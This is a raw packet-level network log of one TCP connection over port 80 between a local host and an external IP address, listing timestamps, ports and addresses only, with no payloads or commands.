Nov 21, 2024 14:11:12.266654968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.266843081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.266902924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.268323898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.268381119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.268465996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.268630981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.269928932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.269993067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.270258904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.270462036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.271699905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.271734953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.271768093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.271781921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.273240089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.273272991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.273294926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.273315907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.275002003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.275036097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.275093079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.276438951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.276492119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.276776075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.276829958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.278109074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.278161049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.278274059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.278325081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.279789925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.279839993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.279933929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.279983997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.281439066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.281486034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.281610012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.281670094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.283055067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.283109903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.283227921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.283274889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.284831047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.284864902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.284892082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.284907103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.286437035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.286492109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.286611080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.286659002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.287991047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.288047075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.288178921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.288234949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.289628029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.289689064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.289841890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.289876938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.289882898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.289913893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.289941072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.289963007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.290014029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.290060997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.290132999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.290280104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.291714907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.291764021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.291856050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.291908979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.297415018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.297451973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.297498941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.297518015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.297935963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.297991991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.298070908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.298120975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.299590111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.299624920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.299717903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.301089048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.301141024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.301268101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.301316977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.303005934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.303040028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.303061008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.303077936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.304624081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.304658890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.304681063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.304701090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.306210041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.306246996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.306374073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.307605982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.307662964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.307756901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.307817936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.309329033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.309391975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.309472084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.309520006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.310935974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.310981989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.311074972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.311144114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.312697887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.312755108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.312834024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.312894106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.314318895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.314368963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.314456940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.314512014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.316039085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.316073895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.316128969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.317630053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.317683935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.317764044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.317832947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.319202900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.319259882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.319380045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.319444895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.320898056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.320960999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.321027040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.321077108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.322495937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.322551012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.322779894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.322881937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.324204922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.324264050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.324383020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.324445963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.325890064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.325948954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.326051950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.326102018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.327440023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.327495098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.327575922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.327756882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.328092098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.328126907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.328151941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.328166962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.330707073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.330780029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.330882072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.330954075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.332614899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.332705975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.332748890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.332799911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.334152937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.334206104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.334270000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.334342957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.335756063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.335789919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.335832119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.335880995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.335918903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.335936069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.335964918 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.336044073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.336108923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.336246014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.336307049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.337713003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.337775946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.337852001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.337946892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.339310884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.339378119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.339379072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.339426994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.340971947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.341026068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.341090918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.341146946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.344413042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.344465971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.344695091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.344748020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.344806910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.344894886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.346575022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.346635103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.346688986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.347971916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.348026991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.348073006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.348121881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.349610090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.349666119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.349697113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.349709034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.351350069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.351402998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.351459026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.351505041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.352900982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.352955103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.353066921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.353123903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.354594946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.354649067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.354713917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.354760885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.356216908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.356267929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.356268883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.356321096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.357853889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.357907057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.357912064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.357954979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.359544992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.359613895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.359662056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.359709978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.361237049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.361290932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.361294031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.361334085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.362776995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.362829924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.362894058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.362942934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.364450932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.364506006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.364584923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.364658117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.366050005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.366103888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.366235971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.366329908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.367702961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.367758989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.367826939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.367877007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.369330883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.369384050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.370152950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.370210886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.370280027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.370445967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.371808052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.371865034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.371867895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.371918917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.373445988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.373497963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.373577118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.373622894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.375132084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.375185966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.375185966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.375236988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.376940966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.376995087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.377060890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.377104998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.378439903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.378494978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.378542900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.378726006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.380110979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.380162954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.380310059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.380361080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.381691933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.381803989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.381819963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.381880999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.383665085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.383718014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.383718967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.383761883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.385005951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.385059118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.385163069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.385210991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.386635065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.386739016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.386749983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.386792898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.388217926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.388269901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.388343096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.388391972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.389883041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.389935970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.389938116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.389996052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.391537905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.391602039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.391608000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.391655922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.393166065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.393286943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.393287897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.393336058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.394818068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.394872904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.394944906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.395061970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.396426916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.396480083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.467180014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467263937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.467334986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467391968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.467442036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467505932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.467772007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467828035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467854977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.467863083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.467878103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.468167067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.468446970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.468549013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.468585014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.468597889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.468633890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.469388008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.469440937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.469448090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.469475031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.469485998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.469518900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.470515013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.470568895 CET	80	49876	31.41.244.11	192.168.2.6
